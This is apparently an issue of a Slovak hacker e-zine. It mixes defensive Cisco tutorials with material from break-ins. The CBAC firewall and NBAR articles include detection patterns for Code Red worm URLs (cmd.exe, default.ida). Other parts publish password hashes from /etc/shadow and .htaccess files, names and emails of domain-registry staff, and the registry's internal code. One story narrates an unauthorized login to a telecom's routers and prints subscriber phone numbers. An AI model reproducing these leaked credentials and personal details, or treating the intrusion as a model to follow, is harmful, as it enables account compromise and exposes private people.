fax CHAR(15),
email CHAR(40),
www CHAR(40),
ucet CHAR(20),
podpis CHAR(50),
techkon CHAR(30),
admkon CHAR(30))") < 0)
{
echo("Error : $ERRMSGn");
}
echo("done.n");

echo("Creating the limits table ... ");
if (msqlQuery($sock, "CREATE TABLE limits (
firma CHAR(50),
ico CHAR(15),
lastmod DATE,
lastop CHAR(40),
limit INT)") < 0)
{
echo("Error : $ERRMSGn");
}
echo("done.n");

echo("Creating the domeny table ... ");
if (msqlQuery($sock, "CREATE TABLE domeny (
domena CHAR(30),
registrator CHAR(10),
typ CHAR(2),
firma CHAR(50),
mesto CHAR(30),
ico CHAR(12),
techkon CHAR(15),
admkon CHAR(15),
zonekon CHAR(15),
site1 CHAR(50),
site2 CHAR(50),
site3 CHAR(50),
site4 CHAR(50),
ip1 CHAR(15),
ip2 CHAR(15),
ip3 CHAR(15),
ip4 CHAR(15),
lastmod DATE,
lastop CHAR(40),
state CHAR(5))") < 0)
{
echo("Error : $ERRMSGn");
}
echo("done.n");

echo("Creating the redirect table ... ");
if (msqlQuery($sock, "CREATE TABLE redirect (
server CHAR(40),
url CHAR(80),
email CHAR(40),
heslo CHAR(10),
format CHAR(1),
lastmod DATE,
zaplatenedo DATE,
state CHAR(1))") < 0)
{
echo("Error : $ERRMSGn");


Mno a kto vsetko dnom-nocou bdie nad vasimi domenkami?


sub opername {
local($user)=3D$_[0];
if ($user eq "kico") {return "Stefan Kicak";}
if ($user eq "ivan") {return "Ing. Ivan Lescak";}
if ($user eq "lafy") {return "Mgr. Ladislav Guller";}
if ($user eq "ibike") {return "Iveta Miniarikova";}
if ($user eq "iveta") {return "Iveta Miniarikova";}
return "";
}


a dalsia spusta nepotrebneho balastu, zrejme vyplodov prace administratorov sk-nic.


webforce# cat admin/test
lafy


System prikladame tu. Pohrabte sa v nom podla lubovole.



Niektore sposoby sk-nicakov su zaujimave, napriklad to, ako sa pustaju skripty napisane v perle cez www:




#include
void main () {
execl("/usr/local/bin/perl","zabudnute.pl","/spare/WWW/cgi-bin/sk-nic/zabudnute.pl",NULL);}


Adminom by mohol niekto vysvetlit, co je to apache a cgi a mod-perl :))



A dalsie zaujimavosti?



/etc/shadow


root:ucLxfsoqvuYmA:11009:0:::::
stefan:ZVlCO9D9Ypjzo:11129:0:99999:7:::
lafy:luq5olGdl8GMw:11008:0:99999:7:::
juro:atM1KZjs56VDY:11373:0:99999:7:::
ivan:nmCuTudGMYIUY:11006:0:99999:7:::


Nejaky ten .htaccess:

lafy:PkyoYOWFP3Fl2
Hesla do mrtg:
martin:hDzcmn4YvlJPY
ivan:FVoUs8M4PZe3c
gejza:rXGpf0bEXBgj.
stefan:lsvQfdpbD1x6o
general:F.WO1OrmtCezU
lafy:VF3ayEA.G8OtA
jozef:u8LaqSg9NHkao
balage:MmYUXPUFxEVmY
ew:B44cIJFVlPSn6
omv:Abq9d2qhZL/NM
olajec:2PkAQ5kAhqPZY


Celkom vtipny vynatok z komunikacie spokojnych zakaznikov s sk-nicom:


From: xxx@xxx.sk
To: SK-NIC
Subject: Re: isluzby.sk - zrusenie domeny
X-Envelope-To: hostmaster@sk-nic.sk

Vaz.p. Kicak

Vsetky styri odoslane ziadosti boli riadne opeciatkovane peciatkou
Infotel.

Chyba je zrejme vo Vasom faxe...

S pozdravom,

J.xxx

hostmaster@sk-nic.sk wrote:

> Dobry den,
> Na pisomnej ziadosti o zrusenie domeny isluzby.sk
> chyba peciatka subjektu na ktory je domena registrovana.
> Poslite, prosim opeciatkovanu ziadost.
>
> S pozdravom,
>
> SK-NIC Administrator
> hostmaster@sk-nic.sk
> http://www.sk-nic.sk


Odpoved p. Kicaka:



Problem je v tom, ze peciatka neobsahuje ICO. Ak nevlastnite peciatku
s ICO je nutne prilozit vypis z ORSR resp. ZRZR.


Spokojnost so sluzbami sk-nicu sa da prejavit aj takouto odpovedou:


Vaz. pan Kicak,

Podmienky pre zrusenie domeny v zmysle Pravidiel registracie boli splnene
a ziadost obsahuje oficialnu peciatku subjektu. Ostatne Vase poziadavky su
zrejme iba Vasou osobnou "prehnanou iniciativou".

Prestante klamat a klast ustavicne prekazky v registracii a zmene domen a
plnte si svoje povinnosti.

S pozdravom,

J xxx


Na coz hostmaster ma svoju odpoved:


O Povinnostiach by sme mohli polemizovat. Vzhladom na to, ze medzi
nami nieje ziadny pracovno pravny vztah, by som si vyprosil poucovaie
o mojich povinnostiach z Vasej strany.
Ostatne bludy si nevymyslam:
http://www.sk-nic.sk/faq.html#19
Predisli by ste invektivam keby ste si dali tu namahu a precitali si
pravidla registracie + FAQ !:

Vymazanie domeny
O vymazanie domeny moze poziadat iba jej sucasny drzitel. Ziadost musi obsahovat
vsetky formalne nalezitosti: peciatka firmy s ICO-m (ak take nevlastnite je
potrebne zaslat aj vypis z obch. registra prip. zivnost. uradu) a podpis
zodpovednej osoby. V pripade, ze ziadost tieto nalezitosti neobsahuje, nebude akceptovana.
Ziadost bude spracovana do troch pracovnych dni od datumu jej dorucenia.


Rozradosteny zakaznik ma svoje vysvetlenie:

Pre mna je smerodajne to, co je, alebo nie je obsiahnute v Vasich Pravidlach
registracie a na citanie ostatnej beletrie na Vasej stranke bohuzial nemam cas.

Ak ste si napisali PRAVIDLA tak sa nimi prosim, aj riadte a nevyhovarajte sa
na FAQy, kucharske knihy a inu zabavnu literaturu.


a zakaznik reaguje:


A urobil som nieco co nie je v PODMIENKACH poskytovania SLUZBY?
Ked ste s nimi nesuhlasili, nikto Vas nenutil domenu si registrovat.
Zda sa Vam ze domena patri do baliku zivotnych potrieb?

Som rad, ze sa dobre bavite a este ste za to aj plateny.
No, uvidime ako dlho...


Nikto nas teda nenuti vyuzivat sluzby sk-nicu, ked sa nam nepaci. A koho teda?
Kto alternativny nam zaregistruje .sk domenu?



Neni lahky udel sk-nicaka...


From:
Reply-To:
Organization: EuroWeb Bratislava a.s.
To: ivan@st.sk
CC: hostmaster@sk-nic.sk
Subject: Re: Zmena registratora domeny
X-Envelope-To: hostmaster@sk-nic.sk

Dear Thursday, May 16, 2002, 1:03:33 PM, you wrote:

ijss> Vazeny team SK - NIC,

ijss> chcel by som sa opytat, ci je mozne urobyt zmenu registratora aj k
ijss> pozadovanemu datumu /samozrejme pri zachovani nim. casu 3 pracovnych dni
ijss> potrebnych na zmenu registratora/?
ijss> Ak ano, kde a ako to potom na ziadost o zmenu registratira uviest?
ijss> Mohlo by to podla mna znamenat by to viacero vyhod:
ijss> - predislo by sa tym neprijemnemu nacasovavaniu prechodu od jedneho ISP k
ijss> druhemu ISP /pre zachovanie nepretrzitej funkcnosti www stranky/,
ijss> - pri pripadnych nedostatkoch udajov na formulari, by sa este vcas mohla
ijss> stihnut ich naprava,
ijss> - mali by ste viac casu na realizovanie pozadovanej zmeny,
ijss> - optimalizovanie vasej prace.

O optimalizovani nasej prace sa hovorit v ziadnom pripade neda,
pretoze pri stovkach ziadosti denne nieje mozne udrzat ktora domena ma
byt kedy preregistrovana.

Sucasny system sa nijak modifikovat nebude, pretoze uz v blizkej dobe
bude kompletne zmeneny system registracie domen. Uvedene zmeny v nom
budu prebiehat automaticky.


Nazory mladych ludi na sk-nic su prejavene uplne jasne:


From: "admin webpriestor.sk"
To:
Subject: INFO

Pekny den,
ako som sa dozvedel od znameho, z firmy Euronet s.r.o ,
niekto pod mojim menom sa snazil zaregistrovat domenu :
sknic-su-kokoti


Odpoved ivana velkeho:


Vymazal som to. Su to este deti. Az ked budu starsi, pochopia,
ze obchodne nazvy, znacky a domeny by si mali volit starostlivo
a na zaklade prieskumu trhu. Orange sa mi zda omnoho vydarenejsie ;-)

Aj ked by som ziadost o registraciu takejto domeny skor cakal
cez registratora "dial" ;-)

--
Ivan L, EuroWeb Slovakia a.s., Racianska 36, 831 02 Bratislava


No a na zaver? Asi by si ludia od sk-nicu mali hladat novu pracu. Jednu ponuku by uz aj mali...


From: ntonia@nettaxi.com
Reply-To: perfection@netnet.com
To: ntonia@nettaxi.com
Subject: Job Opportunity
X-Envelope-To: hostmaster@sk-nic.sk

***LOOK LIKE A MOVIE STAR***

You are about to experience an array of exciting
Beauty Products formulated with patented
technology that will make you look like a movie star.

LIP GLOSS WILL NOT KISS or RUB OFF until
you take it off.

You will be amazed at the professional, flawless finish
of our lip, eye, brow and lash beauty products.

Distributers now being accepted.

Learn more by sending an email to:
mailto:making.faces@eudoramail.com


To remove
mailto:remove.faces@eudoramail.com



lamer, lamer (zavinac) hysteria.sk



navrat na obsah

co ty na to ? board






cbac - cisco ios statefull firewall



Intro


Cisco Context-Based Access Control je jedna z Cisco IOS/IP/FW/PLUS featur,ktora v kombinacii s IDS a ACL (Access Lists)
ponuka pokrocilejsie funkcie filtrovania,managovania a logovania sietoveho trafficu. S tymito advanced featurami
sa "obycajny" Cisco router stava rubustny featured firewall, porovnatelny (pomer cena/vykon) s vysokovykonnymi
komercnymi firewallmi ako je napriklad Cisco PIX.



Preco CBAC ?



A preco nie ? :-) Pozornost som upriamil najma na SOHO routre rady Cisco 805 a 806 pripadne
modelovej rady 1700, ktore su medzi koncovymi zakaznikmy najviac rozsirene (niektori si ich dokonca
sami spravuju .. :-) a maximalne vyuzit firewallove vlastnosti tychto routrov. SOHO routre vyuzivaju hlavne ACL.ACL
"rozhoduju" na 3 a 4 vrstve CBAC sa pozera na informacie aktualne do 7 vrstvy. Podporovane su ale aj rady 1600, 2500,
2600, 3600 a 7200. Samozrejme, ze defaultne tieto routre neobsahuju IOS FW, ale oplati sa radsej kusok si priplatit a kupit
router spolu s IOS firewallom. Investicia do network security nikomu nemoze uskodit a v konecnom dosledku moze
zlepsit spanok ... :->



Hlavne featury CBAC:



    - poskytuje bezpecnostny IP traffic filtering pre kazdu unikatnu session pochadajucu z vyssich vrstiev.

    - podpora roznych aplikacnych protokolov:

    http,ftp,smtp,h323,realaudio,rpc,sqlnet,tftp,streamworks.

    - Java blocking

    - detekcia a prevencia Denial-of-Service (Dos) utokov.

    - detekcia a prevencia IP fragmented floodov.

    - Audit trial - session tracking mechanizmus logujuci ,cas,zdrojove - cielove adresy,porty a pocet prenesenych bytov.

    - automaticke nastavenie docasnych dynamickych access listov



Nevyhody CBAC:



    - CBAC nieje celkom kompatibilny s IPsec ,pretoze packety kryptovane IPsecom niesu TCP ani UDP a CBAC vie skumat iba tieto.
    Preto az bezi na danom routri CBAC + IPsec router musi byt nakonfigurovany ako IPsec endpoint.

    - UDP a ICMP su connectioless protocoly ,takze ich takisto nieje mozne trackovat.Pri UDP session CBAC nastavi len timeout
    podla specifikovanej casovej periody.ICMP traffic musi byt osetreny ACL.




Ako to cele funguje



Hlavna idea CBACu je inspekcia outgoing packetov pochadzajucich z trusted siete (LAN,WAN), vytvorit docasnu stavovu
informaciu o danej session, tuto informaciu si ulozit do packet information state table, priradit danej session ID a
povolit vracajuci sa packet pochadzajuci z danej session spat. Ak toto pravidlo nieje splnene a packet nepochadza z
danej session (je napriklad inicializovany z untrusted siete ), packet bude zahodeny alebo logovany napr. na syslog
server. CBAC monitoruje session pomocou watching flagov -> sekvencnych a acknowledgment cisiel. Packety ktore budu
kontrolovane CBAC budu najprv matchovane oproti vstupnym access listom (ACL)na danom interfaci, ak packety zodpovedaju
ACL pravidlam, budu kontrolovane CBAC, ak nezodpovedaju budu jednoducho zahodene a nekontrolovane CBAC. CBAC kontinualne
monitoruje stav kazdej inicializovanej session a vyhodnoti ako bude spracovana. CBAC spolupracuje aj s multichannel
protokolmi ako je napriklad FTP, ktore vyzaduje riadiaci kanal. CBAC zisti ci je subsekvencny kanal nevyhnutny
alebo nie a podla toho vytvori alebo nevytvori pozadovanu session. Samozrejme,ze pre inspekcii nadmerneho trafficu to
moze ovplyvnit aj celkovu vykonnost routra. Cisco uvadza ze na kazdu session je potrebne cca 600 Bytes RAM + CPU resources.



Konfiguracia



Velmi jednoducha a rychla.



Ako prve treba nastavit pravidla ACL,tj. traffic ktory bude CBAC matchovat alebo nie a rozhodnut ci bude na vnutornom,
alebo vonkajsom interfaci.

CBAC sa konfiguruje v globalnom konfiguracnom mode pomocou prikazu ip inspect .

Jednoducha konfiguracia moze vyzerat takto:


cisco2621# ip inspect name fw tcp alert on audit-trail on

!inspekcia tcp
ip inspect name fw udp alert on audit-trail on

!inspekcia udp
ip inspect name fw smtp alert on audit-trail on

!inspekcia smtp
ip inspect name fw fragment maximum 256 timeout 1

!ip fragment inspekcia - specifikuje maximalne cislo 'neposkladanych' packetov
ip inspect audit-trail

!aktivuje audit-trail mechanizmus - logging pre CBAC spravy.
ip audit notify log


Optional settings:


Pri tychto nastaveniach si CBAC nastavy defaultne hodnoty,je mozne ich
menit.


TCP SYN default 30s) a FIN(default 5s)flag timeouty.
ip inspect synwait-time sekundy
ip inspect finwait-time sekundy

TCP idle session timeout
ip inspect idle-time sekundy

DNS timeout
ip inspect dns-timeout sekundy

Pocet half-open sessions za minutu predtym ako CBAC zacne terminovat connection.
ip inspect one-minute high cislo


Nakoniec treba celu maskaradu aplikovat na interface:


interface FastEthernet0/1
description INSIDE INTERFACE
ip address 192.168.1.1 255.255.255.240
ip inspect fw out
! CBAC aplikovany na interface smerom von
speed 100
full-duplex


Konfiguraciu overime:

cisco2621#show ip inspect all
Session audit trail is enabled
Session alert is enabled
one-minute (sampling period) thresholds are [400:500] connections
max-incomplete sessions thresholds are [400:500]
max-incomplete tcp connections per host is 50. Block-time 0 minute.
tcp synwait-time is 30 sec -- tcp finwait-time is 5 sec
tcp idle-time is 3600 sec -- udp idle-time is 30 sec
dns-timeout is 5 sec
Inspection Rule Configuration
Inspection name fw
tcp alert is on audit-trail is on timeout 3600
udp alert is on audit-trail is on timeout 30
smtp alert is on audit-trail is on timeout 3600

Interface Configuration
Interface FastEthernet0/1
Inbound inspection rule is not set
Outgoing inspection rule is fw
tcp alert is on audit-trail is on timeout 3600
udp alert is on audit-trail is on timeout 30
smtp alert is on audit-trail is on timeout 3600
Inbound access list is set
Outgoing access list is not set


CBAC in action:



Vypis z audit logov:


cisco2621#sh logging
23:13:54:%FW-6-SESS_AUDIT_TRAIL: tcp session initiator (10.10.10.2:38961) sent 1050 bytes -- responder (192.168.1.3:80) sent 334 bytes
23:15:05:%FW-6-SESS_AUDIT_TRAIL: tcp session initiator (10.10.10.99:38964)sent 1050 bytes -- responder (192.168.1.3:80) sent 334 bytes
1d00h: %FW-6-SESS_AUDIT_TRAIL: udp session initiator (10.10.10.5:17092) sent 50 bytes -- responder (192.168.1.2:137) sent 0 bytes
1d00h: %FW-6-SESS_AUDIT_TRAIL: tcp session initiator (10.10.10.2:39210)sent 1050 bytes -- responder (192.168.1.3:80) sent 334 bytes


Realne sessions:


cisco2621#sh ip inspect sessions
Half-open Sessions
Session 822D7B18 (10.10.10.2:9330)=>(192.168.1.2:137) tcp SIS_OPENING
Established Sessions
Session 822D7B18 (10.10.10.2:39209)=>(192.168.1.3:22) tcp SIS_OPEN
Session 822D7C94 (10.10.10.2:39210)=>(192.168.1.3:80) tcp SIS_OPEN


Zaver



CBAC je silna featura, ktoru sa urcite oplati dokonfigurovat. Hlavne na spominanych SOHO routroch, ktore su vacsinou defaultne
zkonfigurovane a tym plne vyuzit ich funkcionalitu. Potom uz mozu kludne zapadnut prachom ...:-)




maxo(zavinac)hysteria(bodka)sk



navrat na obsah

co ty na to ? board







0000010100000001000001020061730208639996
maniac
 maniac      30.06.2019 - 19:31:04 (modif: 30.06.2019 - 19:31:21), level: 1, UP   NEW !!CONTENT CHANGED!!

::::::::::. :::::::.. :::.,:::::: ::: ... . :
`;;;```.;;;;;;;``;;;; ;;;;;;;'''' ;;; .;;;;;;;. ;;,. ;;;
`]]nnn]]' [[[,/[[[' [[[ [[cccc [[[ ,[[ [[,[[[[, ,[[[[,
$$$"" $$$$$$c $$$ $$"""" $$' $$$, $$$$$$$$$$$"$$$
888o 888b "88bo,888 888oo,__ o88oo,.__"888,_ _,88P888 Y88" 888o
YMMMb MMMM "W" MMM """"YUMMM""""YUMMM "YMMMMMP" MMM M' "MMM

prielom #20, 6.6.2003, prielom(at)hysteria.sk, http://hysteria.sk/prielom/





obsah







intro


minulu sobotu bola v klube spojka vystava robotov. taki rakuski
industrialni umelci. roboty boli take nezmyselne, az to bolo mile. miesali
napoje, fajcili zvaro a tak. je to fasa byt mladym_na_zapade, clovek ma
cas na taketo vysinute konicky. povedali sme si ze ked raz budeme velki,
budeme mlady_na_zapade. budeme stavat nezmyselne roboty a chodit ich
ukazovat do blavy.



vlastne aj motat sa okolo tmavej stranky pocitacoveho sveta je asi dost
vysinuty konicek. mozno preto je na slovensku a v cechach tak malo ludi s
nasim konickom. o to viac treba zjednotit nase hlasy, uz sa tu v intre
pisalo o tom ze ma hysterka ambicie stat sa v ociach ludi hlavnym zdrojom
alternativneho pohladu na veci okolo informatiky. hadam nam to vyjde.
pridajte sa. hladame vselikoho, najviac asi mladych pravnikov, alebo
studentov prava, ktori sa motaju okolo zakonov suvisiacich so svetom
informacnych technologii a maju na veci iny nazor ako zakonodarci a IT
lobby.



inak vsetko po starom, prislo leto, teplo, voda a dalsie prijemne veci s
tym suvisiace. co sa stalo od posledneho prielomu ? hysterka zazila jeden
reboot sposobeny vypadkom elektriny, ale prezili sme to a bezime dalej,
aspon sa mozno konecne po vyse 150 dnovom uptime odhodlame k uz davnejsie
planovanym upgradom serveru.



a chysta sa velka letna hysteria session. ak si nedostal pozvanku a mal si
dostat - ozvi sa.








pajkus, pajkus(at)hysteria.sk

zyx, zyx(at)hysteria.sk



navrat na obsah

co ty na to ? board






Pouzitie NBAR na identifikaciu a kontrolu utokov



Abstract


Network-Base Application Recognition (NBAR) je jedna z vlastnosti Cisco IOS Software,
pomocou ktorej je mozne identifikovat mnoho typov trafficu. Identifikacia je zalozena na
charakteristike trafficu od layer 4 az po layer 7. NBAR umoznuje identifikovat traffic
roznych typov a jeden z nich mozu byt aj utoky. Je samozrejme, ze po uspesnom identifikovani
trafficu ktory vas zaujima, mate uplnu slobodu volby co s nim spravite (napr. drop, obmedzit
sirku pasma,..).



Pre priklad vyuzita v realite moze byt tato vlastnost pouzita na zastavenie CODE RED Worm
uz na perimeter routry vasej siete. (priklad je uvedeny v clanku)



Overview

NBAR je inteligentny engine v Cisco IOS, urceny na klasifikaciu trafficu. Primarne je
urceny pre QoS (Quality of Service), ktoreho ulohou je klasifikovat alebo taggovat traffic
podla definovanych pravidiel este pred tym, nez je spracovany v routry (routing). Na zaklade
klasifikacie moze router klasifikovany traffic rozdelit do tried, ktore maju napriklad
roznu prioritu.



NBAR dokaze klasifikovat siroku oblast aplikacii a protokolov:



    -staticky doplnene TCP a UDP porty

    -non-UDP a non-TCP protocols

    -dynamicky pridelene TCP a UDP porty pocas vzniku spojenia

    -subport klasifikacia, ktora je zalozena na HTTP URL, MIME alebo host names

    -heuristic/holistic klasifikacia, klasifikacia aplikacii zalozena na pakete.




Zoznam nativne podporovanych aplikacii a protokolov, ktore mozu byt klasifikovane najdete na
cisco web stranke. Kedze utoky mozu prichadzat v roznej forme a mozu pouzivat rozne protokoly
a porty ako transportny mechanizmus, je mozne si definovat vlastne aplikacie a protokoly
(filtre) pomocou Protocol Description Language Module (PDLM).



NBAR je pristupny na routroch Cisco 2600 a 3600 od verzie 12.1(4)T a na Cisco 7100 a 7200 od
verzie 12.0(5)XE2.



Takze NBAR moze klasifikovat mnoho typov trafficu napr. utoky a dalsie funkcie ako rate limiting,
access lists mozu byt pouzite na manipulaciu tohto trafficu.




Pouzitie NBAR na kasifikaciu packetov



Pred pouzitim NBAR je nutne aktivovat Cisco Express Forwarding (CEF). NBAR klasifikacia je
definovana pomocou class-map. class-map prikaz je pouzity na definovanie jedneho alebo viacerych
tried trafficu specifikovaneho zadanymi kriteriami.



Nasledujuci priklad je pouzity na klasifikaciu vsetkeho HTTP trafficu urceneho v URL obsahujuci
adresar /test/. * je wildcard, urcujuca ze pred aj za sa mozu vyskytovat rozne znaky.



class-map match-all http_test
match protocol http url "*/test/*"

Dalsi priklad klasifikuje cely Secure HTTP (SHTTP) traffic, ktory pouziva TCP port 443.



class-map match-all http_secure
match protocol secure-http


Dalsi class map spaja predchadzajuce definicie do jednej, ktora moze byt neskor pouzita. Prikaz
match-any znamena, ze traffic zodpovedajuci akemukolvek definovanemo parametru v class-map
klasifikuj do triedy. Prikaz match-all je doraznejsi a znamena, ze traffic musi zodpovedat
vsetkym definovanym parametrom v class-map.



class-map match-any ecommerce
match class-map http_test
match class-map http_secure

Dalsi class-map pouziva access list na klasifikaciu trafficu do triedy.



class-map match-all privatenetwork
match access-group 101
access-list 101 permit ip 10.1.1.0 0.0.0.255 10.2.2.0 0.0.0.255

Dalsi class-map klasifikuje HTTP URL zalozene na MIME, kde MIME moze obsahovat uzivatelsky
definovany textovy retazec.



class-map match-any audio_video
match protocol http mime "audio/*"
match protocol http mime "video/*"

Dalsi class-map klasifikuje URL, ktore obashuje obrazky typu gif,jpg alebo jpeg.



class-map match-any web_images
match protocol http url "*.gif"
match protocol http url "*.jpg|*.jpeg"

Znak | (OR) hra tu istu ulohu ako dva separatne riadky match protocol.




Pouzitie NBAR na registrovanie utokov



Ked uz vieme klasifikovat (selectovat) traffic ktory nas zaujima, je potrebne vediet ako
aplikovat na tento traffic QoS alebo security pravidla. Na tento ucel sluzi prikaz
policy-map.



Tu je zoznam moznosti ako pouzit policy-map s NBAR:



    1.pouzit DSCP alebo ToS s jednoduchym access-listom na oznacenie a dropovanie paketov

    2.pouzit DSCP alebo ToS s policy routing na oznacenie a dropovanie NBAR trafficu

    3.pouzit traffic policy na manazovanie NBAR trafficu



    1.pouzitie DSCP alebo ToS s access-listom na oznacenie a dropovanie paketov


    Pakety klasifikovane NBAR mozu byt oznacene Differentiated Service Code Point (DSCP) alebo

    Type of Service (ToS). Takto oznacene pakety mozu byt potom dropovane pomocu access-listov.

    V nasledujucej konfiguracii klasifikujeme vsetky pakety, ktore obsahuju v HTTP GET default.ida.


    class-map match-any http-hacks
    match protocol http url "*default.ida*"

    Nasledujuci policy-map prikaz nastavi vsetkym klasifikovanym paketom DSCP field 1.



    policy-map mark-inbound-http-hacks
    class http-hacks
    set ip dscp 1

    Prikazom service-policy aplikujeme policy-map na WAN interface pripojeny smerom do internetu.



    interface serial 2/1
    service-policy input mark-inbound-http-hacks

    Tymto je zabezpecene, ze vsetky pakety prichadzjuce z internetu z obsahom v HTTP GET default.ida
    budu mat v DSCP field hodnotu 1. Dalsim prikazom na ethernet interface, ktory je pripojeny
    smerom do privatnej siete, dropneme vsetky pakety ktore maju v DSCP field hodnotu 1.



    interface ethernet 2/0
    ip access-group 105 out
    access-list 105 deny ip any any dscp 1 log
    access-list 105 permit ip any any

    Access-listom 105 sme prikazali aby vsetky odchadzajuce pakety z DSCP field 1 boli zamietnute.
    Podobnym sposobom sa pouziva aj ToS field.




    2.pouzitie DSCP alebo ToS s policy routing na oznacenie alebo dropovanie NBAR trafficu

    Fylozofia pri pouziti policy routing je velmi podobna ako v predchadzajucom priklade. V tomto
    pripade sa ale vyuziva routovanie trafficu do NULL interfacu, kde je traffic dropovany.
    Techniku z NULL interfacom vyuzivaju hlavne ISP a je znama pod menom BLACK-HOLE routing.



    class-map match-any http-hacks
    match protocol http url "*default.ida*"
    policy-map mark-inbound-http-hacks
    class http-hacks
    set ip dscp 1
    access-list 106 permit ip any any dscp 1

    Tento prikaz definuje next-hop interface pre traffic ktory prejde cez access-list 106 do
    NULL interfacu, kde je dropovany.

    route-map test 10
    match ip address 106
    set interface Null 0

    Teraz toto vsetko aplikujeme na serial interface, ktory je pripojeny smerom do internetu.

    interface serial 2/1
    ip policy route-map test
    service-policy input mark-inbound-http-hacks

    Tento priklad zabezpeci, ze akykolvek traffic obsahujuci default.ida bude dropovany v NULL
    interface.


    3.pouzitie traffic policy na manazovanie NBAR trafficu



    Nasledujuci priklad obmedzuje traffic ktory obsahuje v HTTP GET slovo bad na rate do 10KB

    a vsetok traffic nad 10KB bude dropovany.


    class-map match-any http-hacks
    match protocol http url "*/bad*"
    policy-map drop-inbound-http-hacks
    class http-hacks
    police 10000 conform transmit exceed drop
    interface serial 2/1
    service-policy input drop-inbound-http-hacks




Pouzitie PDLM v spojeni z NBAR na detekovanie utokov



Protocol Description Language Module (PDLM) je pouzity pre podporu novych protokolov, ktore
nie su nativne podporovane v NBAR. Umoznuje administratorom definovat vlastne a teda
klasifikovat traffic podla vlastnych predstav. Viac na cisco web stranke, alebo v pripade
zaujmu dalsi clanok :).




Performance dopad na router pri pouziti NBAR



Testy ukazuju hodnotu zvysenia zateze CPU o 12 az 15% pri dlzke paketu 300 byte a dlzke
toku 90Mbps. Tato je priblizne rovnaka pri dynamickych aj statickych portoch definovanych cez
access-list. NBAR vuziva 150 byte-ov DRAM na sledovanie stateful protocol flow. Defaultne NBAR
zaberie 1M pamate pre flow zdroje a povoluje stopovat okolo 5000 statful flows bez zabratia
vacsej pamate. Samozrejme ze ak potrebuje tak si automaticky zoberie viac memory.




Priklad ako zastavit Code Red Worm



Code Red worm utoci pomocou HTTP requestov na microsoft servre. Cez URL sa pokusa pristupovat
k suborom cmd.exe, root.exe a default.ida. Pomocou NBAR funkcie mozme tento traffic klasifikovat.
Dolezite je ale vediet ze NBAR nevie klasifikovat pakety, ktore su castou pipeline requestu.
Pipeline requesty su menej pouzivany typ HTTP requestu (Code Red Worm II).



class-map match-any codered
match protocol http url "*default.ida*"
match protocol http url "*cmd.exe*"
match protocol http url "*root.exe*"
policy-map mark-codered
class codered
set ip dscp 1
interface serial 2/1
service-policy input mark-codered
access-list 100 deny ip any any dscp 1
access-list 100 permit ip any any
interface ethernet 1/0
access-group 100 out



zaver



NBAR moze byt jeden z velmi dolezitych nastrojov v rukach administratorov nielen ISP ale aj
privatnych sieti. Do istej miery je pouzitelny ako nahrada za Network IDS systemy. Pre
maximalne vyuzitie NBAR je potrebne sa ale zamysliet v ktorych miestach siete ho aplikovat a
aky traffic sledovat.




Erik Kirschner, kirschner(at)pobox.sk





navrat na obsah

co ty na to ? board






Balada o velkej teleko ropuche



Uvod




Bola raz v malej krajinke v strede europy jedna mala telekomunikacna spolocnost.
Mala velku siet, vela zamestnancov, vela zakaznikov, vela reklamy, vela... no vlastne bolo vela
toho coho vsetkeho mala vela :). Firma si zila svojim zivotom, malo kto ju mal rad, ale napriek
tomu stastne a veselo profitovala a rastla a rastla. Ako tak rastla na svojom poli posobnosti,
tak vznikala a rastla aj jej IP siet. Poskytovala sluzby vsetkym moznym jednotlivcom a vsetkym
moznym organizaciam. A na tejto spoocnosti zacinalo byt pomaly ale isto zavislich viac a viac
ludi a organizacii...




Jemne pretrepeme a nechame 10 minut kvasit




Jednoduchym prikladom su napriklad take skoly spominanej malinkej krajinky v srdci europy.
Kazda skola dostala svoje pripojenie k internetu a tak pomaly rastol projekt zvany infovek. V ramci
projektu povznikalo par routerov, ktore vlastni tato nasa malinka spolocnost. Kedze kazdy chce mat
jednoduchy pristup vsade a k vsetkemu tak sa clovek (mozno cloveci... :)) rozhodli ze preco nedat
vsade rovnakych uzivatelov a hesla ked uz to ma byt take jednoduche a prakticke.




Lenze...




Nasa firma bohuzial pozabudla.. alebo jej to nemal kto povedat ? To asi tu a teraz nevyriesime.
Jednoducho nikoho nenapadlo ze po svete je velmi vela ludi co nemaju co robit a tak vymyslaju najroznejsie veci.
Jednou takou vecou je napriklad hrabanie sa v sietach roznych malinkych firiem, ktore nechavaju k dispozicii
svoje male bezvyznamne routre. Ved nech sa studenti ucia ked si nemozu dovolit kupit si take veci domov :).
A tak prisiel clovek.. alebo ludia ? To uz si nikto dnes nepamata... Ktory zahadnym sposobom ziskali pristup
na vsetky routery tohoto projektu "internet do skol" ci ako sa to volalo. To by nebolo nic zle, ved co moze
taky bezny clovek robit s routerom na ktorom nema ani enable mod.




Vyhrejeme trubu na 150 stupnov




A tak si niekto obcas pobehal po routeroch a skusal kam vsade sa dostane, proste taky vikendovy sport
niekto ide na pokec.sk niekto sa connectuje po routeroch teleko ropuch. Connectuje sa a connectuje az jedneho neskoreho
horuceho dna zisti ze sa connectol na nieco co uz nevyzera celkom ako nejaky obycajny router ktory ma ledva 2,5 interfejsu.
Celkom netusi kam sa to vlastne pripojil, lebo taku vec este nikdy nevidel :) A tak skuma a po par minutach zisti
ze dana vec... co to len moze byt ? ma nejake prikazy ako "show isdn active" a ako tak pozera co to ten prikaz vypisuje
tak tam vidi rozne mena a telefonne cisla a co ja viem co este vsetko. A ked ten clovek len tak nahodou bezi cez ISDN
tak s prekvapenim skonstatuje nieco typu: "hm... to je moj user a moje telefonne cislo" :). Takze uz je cloviecikovi
celkom jasne kam sa mu to uplnou nahodou podarilo pripojit. A tak pozera a hlada dalej a rozmysla ako by to mohol vyuzit.
Tu uz to nebolo ale take "easy" ako na routeroch po ktorych lozil clovek predtym. Tu uz mal aj enable mod a s takym
niecim uz sa daju podnikat nejake veci. (minimalne reload a podobne neprijemnosti :)



ako take nico vyzeralo ? maly priklad:






User Access Verification

Username: to nie je az tak podstatne ;)
Password: to uz vobec nie je podstatne

STIP_KE_AD1>enable
Password:
STIP_KE_AD1#

A co to tu mozme vlastne pouzivat za prikazy ?

ke-nas-1#show isdn active
--------------------------------------------------------------------------------
ISDN ACTIVE CALLS
--------------------------------------------------------------------------------
Call Calling Called Remote Seconds Seconds Seconds Charges
Type Number Number Name Used Left Idle Units/Currency
--------------------------------------------------------------------------------
In 0566684810 ---N/A--- +.c530.84ec +08616 - -
In 0557298252 ---N/A--- 1.2.3.4 31112 - -
In 0556950282 ---N/A--- dncmetal55 18981 - -
In 0557288831 ---N/A--- siulmiku55 13991 - -
In 0557298381 ---N/A--- dominika95 13728 - -
In 0554648323 ---N/A--- vlaky 12192 - -
